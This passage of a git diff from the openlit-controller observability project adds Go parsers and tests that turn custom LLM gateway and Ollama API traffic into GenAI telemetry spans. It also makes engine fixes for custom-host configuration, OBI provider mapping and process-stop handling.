&outMsgs); err != nil {+ t.Fatalf("output messages not valid JSON: %v (%s)", err, span.GenAI.CustomOutputMessages)+ }+ if len(outMsgs) != 1 || outMsgs[0].Role != "assistant" || outMsgs[0].FinishReason != "stop" ||+ len(outMsgs[0].Parts) != 1 || outMsgs[0].Parts[0].Type != "text" {+ t.Fatalf("output messages not semconv-shaped (need role+parts+finish_reason): %s", span.GenAI.CustomOutputMessages)+ }+}++// System and developer role messages become system_instructions (a flat parts+// array), tool calls/results become tool_call / tool_call_response parts.+func TestCustomSpanSemconvSystemAndTools(t *testing.T) {+ base := &request.Span{Type: request.EventTypeHTTPClient, Host: "litellm", HostPort: 4000}+ reqBody := `{"model":"gpt-4o-mini","messages":[` ++ `{"role":"system","content":"be brief"},` ++ `{"role":"user","content":"weather?"},` ++ `{"role":"assistant","tool_calls":[{"id":"call_1","function":{"name":"get_weather","arguments":"{\"city\":\"SF\"}"}}]},` ++ `{"role":"tool","tool_call_id":"call_1","content":"sunny"}` ++ `]}`+ respBody := `{"object":"chat.completion","model":"gpt-4o-mini","choices":[{"finish_reason":"stop","message":{"role":"assistant","content":"It's sunny."}}],"usage":{"prompt_tokens":5,"completion_tokens":3}}`+ req, resp := customReqResp("/chat/completions", "litellm:4000", reqBody, respBody)+ req.Body = io.NopCloser(bytes.NewBufferString(reqBody))++ span, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp)+ if !ok {+ t.Fatal("expected match")+ }++ // system_instructions: flat parts array with the system content.+ var sys []scPart+ if err := json.Unmarshal([]byte(span.GenAI.CustomSystemInstructions), &sys); err != nil {+ t.Fatalf("system_instructions not valid JSON: %v (%s)", err, span.GenAI.CustomSystemInstructions)+ }+ if len(sys) != 1 || sys[0].Type != "text" || sys[0].Content != "be brief" {+ t.Fatalf("system_instructions wrong: %s", span.GenAI.CustomSystemInstructions)+ }++ // input messages: system excluded; tool_call and tool_call_response parts present.+ var in []scMessage+ if err := json.Unmarshal([]byte(span.GenAI.CustomInputMessages), &in); err != nil {+ t.Fatalf("bad input json: %v", err)+ }+ var sawToolCall, sawToolResp, sawSystem bool+ for _, m := range in {+ if m.Role == "system" {+ sawSystem = true+ }+ for _, p := range m.Parts {+ switch p.Type {+ case "tool_call":+ if p.Name == "get_weather" && p.ID == "call_1" {+ sawToolCall = true+ }+ case "tool_call_response":+ if p.ID == "call_1" {+ sawToolResp = true+ }+ }+ }+ }+ if sawSystem {+ t.Fatal("system message must NOT appear in input.messages")+ }+ if !sawToolCall {+ t.Fatalf("expected tool_call part: %s", span.GenAI.CustomInputMessages)+ }+ if !sawToolResp {+ t.Fatalf("expected tool_call_response part: %s", span.GenAI.CustomInputMessages)+ }+}++// A custom gateway serving chat on a NON-standard path is still named correctly,+// because the operation comes from the response body's "object", not the path.+func TestCustomSpanNonStandardPath(t *testing.T) {+ base := &request.Span{Type: request.EventTypeHTTPClient, Host: "myproxy", HostPort: 9000}+ req, resp := customReqResp("/testchat", "myproxy:9000", openAIShapedReq, openAIShapedResp)+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))++ span, ok := CustomSpan(base, []string{"myproxy:9000"}, req, resp)+ if !ok {+ t.Fatal("expected match on non-standard path /testchat")+ }+ if span.GenAI.Custom.OperationName != "chat" {+ t.Fatalf("operation should be 'chat' from body object, got %q", span.GenAI.Custom.OperationName)+ }+ if name := span.TraceName(); name != "chat gpt-4o-mini" {+ t.Fatalf("span name: got %q", name)+ }+}++// A request to a host NOT in the configured set must be ignored.+func TestCustomSpanHostNoMatch(t *testing.T) {+ base := &request.Span{Host: "10.0.0.9", HostPort: 9999}+ req, resp := customReqResp("/chat/completions", "other.svc:9999", openAIShapedReq, openAIShapedResp)+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))++ if _, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp); ok {+ t.Fatal("must NOT match a host outside custom_llm_hosts")+ }+}++// Right host but wrong port (spec pins a port) must be ignored.+func TestCustomSpanPortMismatch(t *testing.T) {+ base := &request.Span{Host: "litellm", HostPort: 8080}+ req, resp := customReqResp("/chat/completions", "litellm:8080", openAIShapedReq, openAIShapedResp)+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))++ if _, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp); ok {+ t.Fatal("must NOT match when spec pins port 4000 but conn is :8080")+ }+}++// Bare host spec (no port) matches any port.+func TestCustomSpanBareHostAnyPort(t *testing.T) {+ base := &request.Span{Host: "gw", HostPort: 12345}+ req, resp := customReqResp("/v1/chat/completions", "gw:12345", openAIShapedReq, openAIShapedResp)+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))++ if _, ok := CustomSpan(base, []string{"gw"}, req, resp); !ok {+ t.Fatal("bare host spec should match any port")+ }+}++// Matched host but non-OpenAI-shaped body still yields no GenAI fields, but the+// parser is tolerant: with no model/usage it should still not panic. We assert+// it returns ok (host matched) but Custom has empty model.+func TestCustomSpanEmptyHosts(t *testing.T) {+ base := &request.Span{Host: "litellm", HostPort: 4000}+ req, resp := customReqResp("/chat/completions", "litellm:4000", openAIShapedReq, openAIShapedResp)+ if _, ok := CustomSpan(base, nil, req, resp); ok {+ t.Fatal("no configured hosts -> never matches")+ }+}diff --git a/openlit-controller/_obi-providers/ollama/ollama.go b/openlit-controller/_obi-providers/ollama/ollama.gonew file mode 100644index 00000000..73f8dc37--- /dev/null+++ b/openlit-controller/_obi-providers/ollama/ollama.go@@ -0,0 +1,113 @@+// Copyright The OpenTelemetry Authors+// SPDX-License-Identifier: Apache-2.0++package ebpfcommon // import "go.opentelemetry.io/obi/pkg/ebpf/common/http"++import (+ "bytes"+ "encoding/json"+ "io"+ "log/slog"+ "net/http"+ "strings"++ "go.opentelemetry.io/obi/pkg/appolly/app/request"+)++// Ollama native API request/response schemas. These differ from the OpenAI+// wire format: tokens are prompt_eval_count/eval_count, chat output is in+// message.content, and /api/generate output is in response. The OpenAI-compat+// endpoint (/v1/...) is intentionally NOT handled here — it is covered by the+// OpenAI/custom extractor — so this parser path-gates on /api/chat and+// /api/generate only.++type ollamaMessage struct {+ Role string `json:"role"`+ Content string `json:"content"`+}++type ollamaRequest struct {+ Model string `json:"model"`+ Messages []ollamaMessage `json:"messages"` // /api/chat+ Prompt string `json:"prompt"` // /api/generate+}++type ollamaResponse struct {+ Model string `json:"model"`+ Message ollamaMessage `json:"message"` // /api/chat+ Response string `json:"response"` // /api/generate+ Done bool `json:"done"`+ PromptEvalCount int `json:"prompt_eval_count"`+ EvalCount int `json:"eval_count"`+}++// OllamaSpan parses Ollama's native /api/chat and /api/generate traffic into a+// GenAI span. Returns ok=false for any other path or unparseable body.+func OllamaSpan(baseSpan *request.Span, req *http.Request, resp *http.Response) (request.Span, bool) {+ path := req.URL.Path+ var operation string+ switch {+ case strings.HasSuffix(path, "/api/chat"):+ operation = "chat"+ case strings.HasSuffix(path, "/api/generate"):+ operation = "generate"+ default:+ return *baseSpan, false+ }++ reqB, err := io.ReadAll(req.Body)+ if err != nil {+ return *baseSpan, false+ }+ req.Body = io.NopCloser(bytes.NewBuffer(reqB))++ respB, err := getResponseBody(resp)+ if err != nil && len(respB) == 0 {+ return *baseSpan, false+ }++ slog.Debug("Ollama", "request", string(reqB), "response", string(respB))++ var parsedReq ollamaRequest+ if err := json.Unmarshal(reqB, &parsedReq); err != nil {+ return *baseSpan, false+ }++ var parsedResp ollamaResponse+ // Response may be missing/streamed; tolerate parse failure and still emit+ // what we have from the request.+ _ = json.Unmarshal(respB, &parsedResp)++ model := parsedReq.Model+ if model == "" {+ model = parsedResp.Model+ }++ inputMessages := ""+ if len(parsedReq.Messages) > 0 {+ if b, mErr := json.Marshal(parsedReq.Messages); mErr == nil {+ inputMessages = string(b)+ }+ } else if parsedReq.Prompt != "" {+ inputMessages = parsedReq.Prompt+ }++ outputMessages := parsedResp.Message.Content+ if outputMessages == "" {+ outputMessages = parsedResp.Response+ }++ baseSpan.SubType = request.HTTPSubtypeOllama+ baseSpan.GenAI = &request.GenAI{+ Ollama: &request.VendorOllama{+ Model: model,+ InputTokens: parsedResp.PromptEvalCount,+ OutputTokens: parsedResp.EvalCount,+ Operation: operation,+ Input: inputMessages,+ Output: outputMessages,+ },+ }++ return *baseSpan, true+}diff --git a/openlit-controller/_obi-providers/ollama/ollama_test.go b/openlit-controller/_obi-providers/ollama/ollama_test.gonew file mode 100644index 00000000..c55072f3--- /dev/null+++ b/openlit-controller/_obi-providers/ollama/ollama_test.go@@ -0,0 +1,92 @@+// Copyright The OpenTelemetry Authors+// SPDX-License-Identifier: Apache-2.0++package ebpfcommon++import (+ "bytes"+ "io"+ "net/http"+ "net/url"+ "strings"+ "testing"++ "go.opentelemetry.io/obi/pkg/appolly/app/request"+)++func makeOllamaReqResp(path, reqBody, respBody string) (*http.Request, *http.Response) {+ req := &http.Request{+ Method: "POST",+ URL: &url.URL{Path: path},+ Body: io.NopCloser(strings.NewReader(reqBody)),+ Header: http.Header{},+ }+ resp := &http.Response{+ StatusCode: 200,+ Body: io.NopCloser(strings.NewReader(respBody)),+ Header: http.Header{},+ }+ return req, resp+}++func TestOllamaSpanChat(t *testing.T) {+ reqBody := `{"model":"llama3.2","messages":[{"role":"user","content":"hello"}]}`+ respBody := `{"model":"llama3.2","message":{"role":"assistant","content":"hi there"},"done":true,"prompt_eval_count":11,"eval_count":7}`++ base := &request.Span{}+ req, resp := makeOllamaReqResp("/api/chat", reqBody, respBody)+ // reset body since OllamaSpan reads it+ req.Body = io.NopCloser(bytes.NewBufferString(reqBody))++ span, ok := OllamaSpan(base, req, resp)+ if !ok {+ t.Fatal("expected OllamaSpan to match /api/chat")+ }+ if span.GenAI == nil || span.GenAI.Ollama == nil {+ t.Fatal("expected GenAI.Ollama populated")+ }+ o := span.GenAI.Ollama+ if o.Model != "llama3.2" {+ t.Fatalf("model: got %q", o.Model)+ }+ if o.InputTokens != 11 || o.OutputTokens != 7 {+ t.Fatalf("tokens: in=%d out=%d", o.InputTokens, o.OutputTokens)+ }+ if !strings.Contains(o.Output, "hi there") {+ t.Fatalf("output content missing: %q", o.Output)+ }+ if o.Operation != "chat" {+ t.Fatalf("operation: got %q", o.Operation)+ }+}++func TestOllamaSpanGenerate(t *testing.T) {+ reqBody := `{"model":"llama3.2","prompt":"why is the sky blue?"}`+ respBody := `{"model":"llama3.2","response":"because of rayleigh scattering","done":true,"prompt_eval_count":5,"eval_count":9}`++ base := &request.Span{}+ req, resp := makeOllamaReqResp("/api/generate", reqBody, respBody)+ req.Body = io.NopCloser(bytes.NewBufferString(reqBody))++ span, ok := OllamaSpan(base, req, resp)+ if !ok {+ t.Fatal("expected OllamaSpan to match /api/generate")+ }+ o := span.GenAI.Ollama+ if o.OutputTokens != 9 || !strings.Contains(o.Output, "rayleigh") {+ t.Fatalf("unexpected generate parse: %+v", o)+ }+ if o.Operation != "generate" {+ t.Fatalf("operation: got %q", o.Operation)+ }+}++func TestOllamaSpanIgnoresOpenAIPath(t *testing.T) {+ base := &request.Span{}+ req, resp := makeOllamaReqResp("/v1/chat/completions", `{"model":"x"}`, `{}`)+ req.Body = io.NopCloser(bytes.NewBufferString(`{"model":"x"}`))++ if _, ok := OllamaSpan(base, req, resp); ok {+ t.Fatal("OllamaSpan must NOT match the /v1/ OpenAI-compat path")+ }+}diff --git a/openlit-controller/cmd/controller/main.go b/openlit-controller/cmd/controller/main.goindex 8171fcaa..39c5e62d 100644--- a/openlit-controller/cmd/controller/main.go+++ b/openlit-controller/cmd/controller/main.go@@ -191,7 +191,7 @@ type pollResult struct {}func doPoll(- _ context.Context,+ ctx context.Context,client *openlit.Client,eng *engine.Engine,logger *zap.Logger,@@ -229,7 +229,7 @@ func doPoll(})}- resp, err := client.Poll(&openlit.PollRequest{+ resp, err := client.Poll(ctx, &openlit.PollRequest{InstanceID: instanceID,ClusterID: clusterID,Version: server.Version,@@ -266,22 +266,40 @@ func doPoll(}}+ if hostsRaw, ok := resp.Config["custom_llm_hosts"]; ok {+ if hostsList, ok := hostsRaw.([]interface{}); ok {+ specs := make([]string, 0, len(hostsList))+ for _, h := range hostsList {+ if s, ok := h.(string); ok {+ if s = strings.TrimSpace(s); s != "" {+ specs = append(specs, s)+ }+ }+ }+ eng.UpdateCustomHosts(specs)+ }+ }+if exportRaw, ok := resp.Config["export"]; ok {if exportMap, ok := exportRaw.(map[string]interface{}); ok {+ // Only non-empty values override the controller's configured+ // (env-derived) endpoints. An empty/unset field in the dashboard+ // config means "use the controller's own OTEL_EXPORTER_OTLP_ENDPOINT",+ // so it must NOT clobber the working endpoint with "".newCfg := eng.GetExportConfig()- if v, ok := exportMap["otlp_endpoint"].(string); ok {+ if v, ok := exportMap["otlp_endpoint"].(string); ok && v != "" {newCfg.OTLPEndpoint = v}- if v, ok := exportMap["otlp_protocol"].(string); ok {+ if v, ok := exportMap["otlp_protocol"].(string); ok && v != "" {newCfg.OTLPProtocol = v}- if v, ok := exportMap["otlp_traces_endpoint"].(string); ok {+ if v, ok := exportMap["otlp_traces_endpoint"].(string); ok && v != "" {newCfg.OTLPTracesEndpoint = v}- if v, ok := exportMap["otlp_metrics_endpoint"].(string); ok {+ if v, ok := exportMap["otlp_metrics_endpoint"].(string); ok && v != "" {newCfg.OTLPMetricsEndpoint = v}- if v, ok := exportMap["otlp_logs_endpoint"].(string); ok {+ if v, ok := exportMap["otlp_logs_endpoint"].(string); ok && v != "" {newCfg.OTLPLogsEndpoint = v}if headersRaw, ok := exportMap["otlp_headers"]; ok {diff --git a/openlit-controller/internal/engine/container.go b/openlit-controller/internal/engine/container.goindex e96da17f..b0bc749e 100644--- a/openlit-controller/internal/engine/container.go+++ b/openlit-controller/internal/engine/container.go@@ -268,9 +268,9 @@ func (c *k8sAPIClient) getPodByContainerID(containerID, nodeName string) (*PodInif err != nil {return nil, err}- defer resp.Body.Close()if resp.StatusCode != http.StatusOK {+ resp.Body.Close()return nil, fmt.Errorf("K8s API returned %d", resp.StatusCode)}@@ -300,8 +300,12 @@ func (c *k8sAPIClient) getPodByContainerID(containerID, nodeName string) (*PodIn} `json:"items"`}- if err := json.NewDecoder(resp.Body).Decode(&podList); err != nil {- return nil, fmt.Errorf("decoding pod list: %w", err)+ decodeErr := json.NewDecoder(resp.Body).Decode(&podList)+ // Close each page's body before processing/continuing so we don't+ // accumulate open connections across pagination iterations.+ resp.Body.Close()+ if decodeErr != nil {+ return nil, fmt.Errorf("decoding pod list: %w", decodeErr)}for _, pod := range podList.Items {diff --git a/openlit-controller/internal/engine/engine.go b/openlit-controller/internal/engine/engine.goindex b9c6df07..3b7c8e1c 100644--- a/openlit-controller/internal/engine/engine.go+++ b/openlit-controller/internal/engine/engine.go@@ -48,14 +48,15 @@ type Engine struct {logger *zap.Loggerrunning bool- scanner *scanner.Scanner- obi *OBIManager- exportCfg ExportConfig- procRoot string- deployMode config.DeployMode- container *ContainerEnricher- environment string- sdkVersion string+ scanner *scanner.Scanner+ customHosts []string // user-configured custom LLM host specs ("host[:port]")+ obi *OBIManager+ exportCfg ExportConfig+ procRoot string+ deployMode config.DeployMode+ container *ContainerEnricher+ environment string+ sdkVersion stringpatterns map[string]instrumentPattern // serviceID -> pattern}@@ -77,11 +78,11 @@ const (// sync with the SQL projections in// src/client/src/lib/platform/agents/index.ts.const (- LifecycleStatusAttr = "openlit.lifecycle.status"- LifecycleStatusRunning = "running"- LifecycleStatusStopped = "stopped"- LifecycleStatusRestarting = "restarting"- K8sSavedReplicasAnnotation = "openlit.io/saved-replicas"+ LifecycleStatusAttr = "openlit.lifecycle.status"+ LifecycleStatusRunning = "running"+ LifecycleStatusStopped = "stopped"+ LifecycleStatusRestarting = "restarting"+ K8sSavedReplicasAnnotation = "openlit.io/saved-replicas"K8sRolloutRestartAnnotation = "openlit.io/restartedAt")@@ -109,9 +110,9 @@ func New(logger *zap.Logger, obiBinaryPath, otlpEndpoint, procRoot, environment,OTLPEndpoint: otlpEndpoint,OTLPProtocol: "http/protobuf",},- procRoot: procRoot,- deployMode: mode,- container: container,+ procRoot: procRoot,+ deployMode: mode,+ container: container,environment: environment,sdkVersion: sdkVersion,}@@ -135,6 +136,9 @@ func (e *Engine) Start(ctx context.Context) error {e.logger.Warn("eBPF scanner unavailable; discovery disabled", zap.Error(err))} else {e.scanner = sc+ if len(e.customHosts) > 0 {+ e.scanner.UpdateCustomHosts(e.customHosts)+ }go e.scanner.Run(ctx)go e.consumeScannerEvents(ctx)}@@ -244,9 +248,14 @@ func (e *Engine) rebuildOBI() error {K8sStatefulSet: p.K8sStatefulSet,}svc, ok := e.services[id]- if ok && e.deployMode != config.DeployDocker {- // In Docker mode OBI should keep container-derived naming instead of- // applying a static service name to every matching container.+ if ok {+ // The controller is the naming authority: it discovers the workload+ // (and resolves any user-set OTEL_SERVICE_NAME) before OBI runs, so it+ // sets the per-target service name OBI emits under. This keeps trace+ // ServiceName aligned with the agents summary in every mode. OBI's+ // instrument[].name is scoped per-target (each entry is matched to one+ // workload via target_pids/pod/deployment), so this does not mislabel+ // other containers, and it takes precedence over OBI's auto-derived name.entry.Name = svc.ServiceName}if e.deployMode == config.DeployDocker && !entry.ContainersOnly {@@ -258,6 +267,7 @@ func (e *Engine) rebuildOBI() error {e.exportCfg,entries,e.enabledProvidersForPatterns(),+ e.customHosts,e.deployMode,e.environment,)@@ -460,6 +470,48 @@ func (e *Engine) UpdateExportConfig(cfg ExportConfig) {}}+// UpdateCustomHosts stores the user-configured custom LLM host specs and, if+// the scanner is already running, applies them immediately. Specs are+// "host[:port]" strings (e.g. "litellm.internal:4000", "ollama.local:11434").+// If the scanner has not started yet, the specs are applied when it does.+func (e *Engine) UpdateCustomHosts(specs []string) {+ e.mu.Lock()+ defer e.mu.Unlock()++ if stringSliceEqual(e.customHosts, specs) {+ return+ }+ e.customHosts = append([]string(nil), specs...)+ e.logger.Info("custom LLM hosts configured", zap.Strings("hosts", specs))++ if e.scanner != nil {+ e.scanner.UpdateCustomHosts(e.customHosts)+ }++ // The host list also feeds OBI's custom-gateway extractor gate+ // (GenAI.Custom.Hosts) via BuildInstrumentConfig. If OBI is already running,+ // rebuild so the updated hosts take effect immediately; otherwise the next+ // instrumentation picks them up. Only rebuild when running to avoid spurious+ // restarts before any workload is instrumented.+ if e.obi.IsRunning() {+ if err := e.rebuildOBI(); err != nil {+ e.logger.Error("failed to rebuild OBI after custom hosts update", zap.Error(err))+ }+ }+}++func stringSliceEqual(a, b []string) bool {+ if len(a) != len(b) {+ return false+ }+ for i := range a {+ if a[i] != b[i] {+ return false+ }+ }+ return true+}+// GetExportConfig returns a snapshot of the current export configuration.// The returned value is a deep copy safe for use outside the engine lock.func (e *Engine) GetExportConfig() ExportConfig {@@ -567,5 +619,13 @@ func (e *Engine) snapshotService(workloadKey string) (*openlit.ServiceState, err}copied.ResourceAttributes = clone}+ // Clone slices too — a shallow struct copy shares the backing arrays with+ // the live map entry, so a caller appending/mutating would race the engine.+ if svc.LLMProviders != nil {+ copied.LLMProviders = append([]string(nil), svc.LLMProviders...)+ }+ if svc.OpenPorts != nil {+ copied.OpenPorts = append([]uint16(nil), svc.OpenPorts...)+ }return &copied, nil}diff --git a/openlit-controller/internal/engine/events.go b/openlit-controller/internal/engine/events.goindex 0e6d0c28..536febca 100644--- a/openlit-controller/internal/engine/events.go+++ b/openlit-controller/internal/engine/events.go@@ -22,7 +22,12 @@ func (e *Engine) consumeScannerEvents(ctx context.Context) {select {case <-ctx.Done():return- case ev := <-e.scanner.Events():+ case ev, ok := <-e.scanner.Events():+ if !ok {+ // Channel closed (scanner shut down); stop consuming rather than+ // spinning on zero-value events.+ return+ }if ev.PID == selfPID {continue}@@ -173,12 +178,18 @@ func buildWorkloadKey(meta *ProcessMetadata, mode config.DeployMode) string {return ""}+// stableContainerName returns the container-name component of the K8s workload+// key. It deliberately does NOT fall back to meta.ServiceName: ServiceName can+// be overridden by a user-set OTEL_SERVICE_NAME, and the workload identity key+// must stay derived from infrastructure only — otherwise enabling/changing that+// env would shift the key and produce a duplicate agent listing. ContainerID is+// a stable infra fallback; "default" is the last resort.func stableContainerName(meta *ProcessMetadata) string {if meta.ContainerName != "" {return meta.ContainerName}- if meta.ServiceName != "" {- return meta.ServiceName+ if meta.ContainerID != "" {+ return meta.ContainerID}return "default"}diff --git a/openlit-controller/internal/engine/obi.go b/openlit-controller/internal/engine/obi.goindex 05d377b5..8e320415 100644--- a/openlit-controller/internal/engine/obi.go+++ b/openlit-controller/internal/engine/obi.go@@ -25,6 +25,7 @@ type OBIManager struct {configPath stringlogger *zap.Loggerrunning bool+ stopping bool // set before signalling an intentional Stop, so the wait goroutine does not auto-restartlastConfig *OBIConfig}@@ -68,6 +69,7 @@ func (m *OBIManager) Start(ctx context.Context, cfg OBIConfig) error {childCtx, cancel := context.WithCancel(ctx)m.cancel = cancelm.waitDone = make(chan struct{})+ m.stopping = falsem.cmd = exec.CommandContext(childCtx, m.binaryPath, "--config", m.configPath)m.cmd.Env = os.Environ()@@ -98,6 +100,7 @@ func (m *OBIManager) Start(ctx context.Context, cfg OBIConfig) error {err := cmd.Wait()m.mu.Lock()lastCfg := m.lastConfig+ intentional := m.stoppingm.running = falseif m.cmd == cmd {m.cmd = nil@@ -107,8 +110,13 @@ func (m *OBIManager) Start(ctx context.Context, cfg OBIConfig) error {m.mu.Unlock()close(waitDone)- if childCtx.Err() != nil {- m.logger.Debug("OBI stopped (context cancelled)")+ // An intentional Stop sets m.stopping before signalling, so we must not+ // auto-restart. We check the flag (set under lock above) in addition to+ // childCtx.Err(): Stop() sends SIGTERM before calling cancel(), so the+ // process can exit while childCtx.Err() is still nil — without the flag+ // this goroutine would spuriously resurrect a just-stopped OBI.+ if intentional || childCtx.Err() != nil {+ m.logger.Debug("OBI stopped (intentional)")return}if err != nil {@@ -136,6 +144,9 @@ func (m *OBIManager) Stop() error {cmd := m.cmdcancel := m.cancelwaitDone := m.waitDone+ // Mark intentional stop BEFORE signalling so the wait goroutine (which may+ // wake from SIGTERM before cancel() runs) does not auto-restart.+ m.stopping = truem.mu.Unlock()if err := cmd.Process.Signal(syscall.SIGTERM); err != nil {@@ -170,7 +181,9 @@ func (m *OBIManager) Stop() error {}m.mu.Unlock()- os.Remove(m.configPath)+ if err := os.Remove(m.configPath); err != nil && !os.IsNotExist(err) {+ m.logger.Debug("failed to remove OBI config file", zap.String("path", m.configPath), zap.Error(err))+ }return nil}@@ -269,29 +282,32 @@ type obiHTTP struct {GenAI obiGenAI `yaml:"genai"`}+// obiGenAI mirrors OBI v0.9.0's genai payload-extraction config, plus our two+// added extractors (custom, ollama). OBI natively parses OpenAI, Anthropic,+// Gemini, Qwen, and Bedrock; the many OpenAI-compatible SaaS providers+// (Groq, Mistral, Together, ...) are all handled by the OpenAI parser, so we do+// not carry a separate flag per vendor — discovery maps them to "openai".type obiGenAI struct {- OpenAI obiEnabled `yaml:"openai"`- Anthropic obiEnabled `yaml:"anthropic"`- Gemini obiEnabled `yaml:"gemini"`- Cohere obiEnabled `yaml:"cohere"`- Mistral obiEnabled `yaml:"mistral"`- Groq obiEnabled `yaml:"groq"`- Deepseek obiEnabled `yaml:"deepseek"`- Together obiEnabled `yaml:"together"`- Fireworks obiEnabled `yaml:"fireworks"`- AzureInference obiEnabled `yaml:"azure_inference"`- AzureOpenAI obiEnabled `yaml:"azure_openai"`- Bedrock obiEnabled `yaml:"bedrock"`- VercelAI obiEnabled `yaml:"vercel_ai"`- VertexAI obiEnabled `yaml:"vertex_ai"`- LiteLLM obiEnabled `yaml:"litellm"`- Ollama obiEnabled `yaml:"ollama"`+ OpenAI obiEnabled `yaml:"openai"`+ Anthropic obiEnabled `yaml:"anthropic"`+ Gemini obiEnabled `yaml:"gemini"`+ Qwen obiEnabled `yaml:"qwen"`+ Bedrock obiEnabled `yaml:"bedrock"`+ Custom obiCustomEnabled `yaml:"custom"`+ Ollama obiEnabled `yaml:"ollama"`}type obiEnabled struct {Enabled bool `yaml:"enabled"`}+// obiCustomEnabled carries the configured gateway destinations so OBI only+// parses traffic to a known custom gateway as a custom GenAI span.+type obiCustomEnabled struct {+ Enabled bool `yaml:"enabled"`+ Hosts []string `yaml:"hosts,omitempty"`+}+type obiOTELTraces struct {Endpoint string `yaml:"endpoint"`Protocol string `yaml:"protocol"`@@ -339,6 +355,7 @@ func BuildInstrumentConfig(expCfg ExportConfig,entries []obiTarget,enabledProviders map[string]bool,+ customHosts []string,mode config.DeployMode,environment string,) OBIConfig {@@ -371,21 +388,32 @@ func BuildInstrumentConfig(cfg.EBPF.BufferSizes.HTTP = 8192cfg.EBPF.ProtocolDebug = false- cfg.EBPF.PayloadExtraction.HTTP.GenAI.OpenAI.Enabled = enabledProviders["openai"]++ // OBI has native parsers only for OpenAI, Anthropic, Gemini, Qwen, and+ // Bedrock. Every other OpenAI-wire-compatible SaaS provider we discover+ // (Cohere/Mistral/Groq/Deepseek/Together/Fireworks/Vercel/Vertex/Azure...)+ // is parsed by the OpenAI extractor, so enabling any of them enables OpenAI.+ openAICompatible := []string{+ "openai", "cohere", "mistral", "groq", "deepseek", "together",+ "fireworks", "azure_inference", "azure_openai", "vercel_ai", "vertex_ai",+ }+ for _, p := range openAICompatible {+ if enabledProviders[p] {+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.OpenAI.Enabled = true+ break+ }+ }cfg.EBPF.PayloadExtraction.HTTP.GenAI.Anthropic.Enabled = enabledProviders["anthropic"]cfg.EBPF.PayloadExtraction.HTTP.GenAI.Gemini.Enabled = enabledProviders["gemini"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Cohere.Enabled = enabledProviders["cohere"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Mistral.Enabled = enabledProviders["mistral"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Groq.Enabled = enabledProviders["groq"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Deepseek.Enabled = enabledProviders["deepseek"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Together.Enabled = enabledProviders["together"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Fireworks.Enabled = enabledProviders["fireworks"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.AzureInference.Enabled = enabledProviders["azure_inference"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.AzureOpenAI.Enabled = enabledProviders["azure_openai"]+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.Qwen.Enabled = enabledProviders["qwen"]cfg.EBPF.PayloadExtraction.HTTP.GenAI.Bedrock.Enabled = enabledProviders["bedrock"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.VercelAI.Enabled = enabledProviders["vercel_ai"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.VertexAI.Enabled = enabledProviders["vertex_ai"]- cfg.EBPF.PayloadExtraction.HTTP.GenAI.LiteLLM.Enabled = enabledProviders["litellm"]+ // Self-hosted gateways discovered via custom_llm_hosts.+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.Custom.Enabled = enabledProviders["custom"]+ if enabledProviders["custom"] {+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.Custom.Hosts = customHosts+ }+ // Ollama native API: opt-in (not auto-enabled from discovery, which reports+ // custom gateways as "custom"). A user can enable it explicitly.cfg.EBPF.PayloadExtraction.HTTP.GenAI.Ollama.Enabled = enabledProviders["ollama"]cfg.Attributes.Select = obiAttrSelection{@@ -393,7 +421,10 @@ func BuildInstrumentConfig(Include: []string{"gen_ai.input.messages","gen_ai.output.messages",- "gen_ai.system.instructions",+ // Canonical GenAI semconv key is underscore-separated+ // (gen_ai.system_instructions). The dotted form silently fails to+ // match OBI's GenAIInstructions selector, dropping the attribute.+ "gen_ai.system_instructions","gen_ai.metadata",},},diff --git a/openlit-controller/internal/engine/obi_genai_test.go b/openlit-controller/internal/engine/obi_genai_test.gonew file mode 100644index 00000000..9a60b781--- /dev/null+++ b/openlit-controller/internal/engine/obi_genai_test.go@@ -0,0 +1,104 @@+package engine++import (+ "testing"++ "github.com/openlit/openlit/openlit-controller/internal/config"+)++func buildGenAI(t *testing.T, providers ...string) obiGenAI {+ t.Helper()+ enabled := make(map[string]bool, len(providers))+ for _, p := range providers {+ enabled[p] = true+ }+ cfg := BuildInstrumentConfig(+ ExportConfig{OTLPEndpoint: "http://localhost:4318"},+ nil,+ enabled,+ nil,+ config.DeployLinux,+ "default",+ )+ return cfg.EBPF.PayloadExtraction.HTTP.GenAI+}++// OpenAI-compatible SaaS vendors all enable the single OpenAI extractor.+func TestBuildInstrumentConfigOpenAICompatibleCollapse(t *testing.T) {+ for _, p := range []string{+ "openai", "cohere", "mistral", "groq", "deepseek", "together",+ "fireworks", "azure_inference", "azure_openai", "vercel_ai", "vertex_ai",+ } {+ g := buildGenAI(t, p)+ if !g.OpenAI.Enabled {+ t.Fatalf("provider %q should enable the OpenAI extractor", p)+ }+ if g.Custom.Enabled || g.Ollama.Enabled {+ t.Fatalf("provider %q should not enable custom/ollama", p)+ }+ }+}++// Native-format providers enable their own extractor, not OpenAI.+func TestBuildInstrumentConfigNativeProviders(t *testing.T) {+ if g := buildGenAI(t, "anthropic"); !g.Anthropic.Enabled || g.OpenAI.Enabled {+ t.Fatalf("anthropic mapping wrong: %+v", g)+ }+ if g := buildGenAI(t, "gemini"); !g.Gemini.Enabled || g.OpenAI.Enabled {+ t.Fatalf("gemini mapping wrong: %+v", g)+ }+ if g := buildGenAI(t, "bedrock"); !g.Bedrock.Enabled || g.OpenAI.Enabled {+ t.Fatalf("bedrock mapping wrong: %+v", g)+ }+ if g := buildGenAI(t, "qwen"); !g.Qwen.Enabled || g.OpenAI.Enabled {+ 